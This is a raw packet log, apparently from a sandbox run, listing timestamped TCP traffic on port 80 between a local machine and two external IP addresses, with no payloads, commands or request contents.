Aug 30, 2024 03:17:08.162945032 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.162951946 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.162957907 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.162969112 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.163003922 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.163746119 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.163780928 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.163784027 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.163819075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.163822889 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.163825035 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.163835049 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.163858891 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.163870096 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.163894892 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.163950920 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.164076090 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.164120913 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.164714098 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.164719105 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.164727926 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.164762020 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.164825916 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.164830923 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.164846897 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.164851904 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.164860964 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.164875031 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.164885998 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.164899111 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.165831089 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.165836096 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.165847063 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.165883064 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.165894985 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.165900946 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.165905952 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.165935040 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.166124105 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.166130066 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.166138887 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.166174889 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.166177988 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.166183949 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.166224003 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.166258097 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.166264057 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.166273117 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.166305065 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.166316986 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.167511940 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.167584896 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.167746067 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.167790890 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.167797089 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.167812109 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.167829037 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.167876005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.167880058 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.167890072 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.167895079 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.167898893 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.167932034 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.167948008 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.168255091 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.168265104 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.168270111 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.168278933 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.168283939 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.168322086 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.168322086 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.168329000 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.168334961 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.168368101 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.168400049 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.168406010 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.168415070 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.168420076 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.168423891 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.168450117 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.168459892 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.168593884 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.168620110 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.168639898 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.168659925 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.168683052 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.168704033 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.168751955 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.168797016 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.168802023 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.168811083 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.168816090 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.168847084 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.168867111 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.168874979 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.168955088 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.168960094 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.168978930 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.168988943 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.169112921 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.169116974 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.169126034 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.169131041 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.169138908 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.169145107 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.169154882 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.169159889 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169164896 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.169166088 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169174910 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.169200897 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.169239044 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169245005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169255018 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169259071 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169265032 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169270039 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.169272900 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.169281006 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.169286013 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.169292927 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.169297934 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169297934 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.169303894 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169311047 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.169321060 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.169321060 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.169329882 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.169338942 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.169367075 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169372082 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.169377089 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.169382095 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.169385910 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.169389009 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169393063 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169409990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169414997 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.169415951 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169421911 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169435978 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.169435978 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.169470072 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.169502974 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169507980 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169517994 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169543028 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169549942 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169550896 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.169554949 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169559956 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169564009 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.169603109 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.169603109 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.172256947 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172261000 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172271013 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172308922 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172313929 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172317028 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.172323942 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172328949 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172363043 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.172363043 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.172395945 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172401905 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172413111 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172421932 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172432899 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172436953 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172461033 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.172461033 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.172585011 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172590971 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172595978 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172602892 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172610044 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172615051 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172633886 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.172651052 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.172677994 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172684908 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172693968 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172744989 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.172832012 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172902107 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172905922 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172916889 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172921896 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.172924042 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.172939062 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.172954082 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.172985077 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173086882 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173091888 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173098087 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173103094 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173108101 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173124075 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.173136950 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.173289061 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173294067 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173305035 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173310995 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173330069 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173341990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173346996 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173352003 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173357964 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173362017 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.173362017 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.173363924 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173382998 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.173397064 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.173418045 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173463106 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.173553944 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173572063 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173576117 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173616886 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.173675060 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173681974 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173726082 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.173741102 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173747063 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173752069 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173787117 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.173866987 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173871994 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173882961 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173887968 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173950911 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.173962116 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173966885 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173978090 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.173983097 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174019098 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.174069881 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174082041 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174087048 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174093962 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174099922 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174112082 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174118042 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174124002 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174127102 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.174137115 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.174170971 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.174642086 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174647093 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174722910 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.174724102 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174730062 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174746037 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174752951 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174783945 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.174783945 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.174817085 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174822092 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174832106 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174837112 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174841881 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174848080 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174865961 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.174879074 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.174930096 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174936056 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174941063 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.174945116 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.175014019 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.175437927 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.175441980 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.175483942 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.175549030 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.175554991 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.175560951 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.175565958 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.175590038 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.175592899 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.175596952 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.175599098 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.175633907 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.175672054 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.175677061 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.175699949 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.175704956 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.175714970 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.175718069 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.175720930 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.175743103 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.175753117 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.175779104 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.175784111 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.175823927 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.178958893 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.178963900 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.178975105 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179013968 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.179044008 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179054022 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179064989 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179069996 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179100037 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.179420948 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179440975 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179446936 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179451942 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179457903 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179469109 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.179492950 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.179519892 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179526091 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179559946 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179565907 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.179593086 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179599047 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179610968 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.179632902 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.179640055 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179645061 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179677010 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179682970 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.179686069 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.179718971 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.217987061 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.217998028 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.218013048 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.218019962 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.218024969 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.218070984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.218071938 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.218082905 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.218090057 CEST	80	49737	176.113.115.33	192.168.2.4
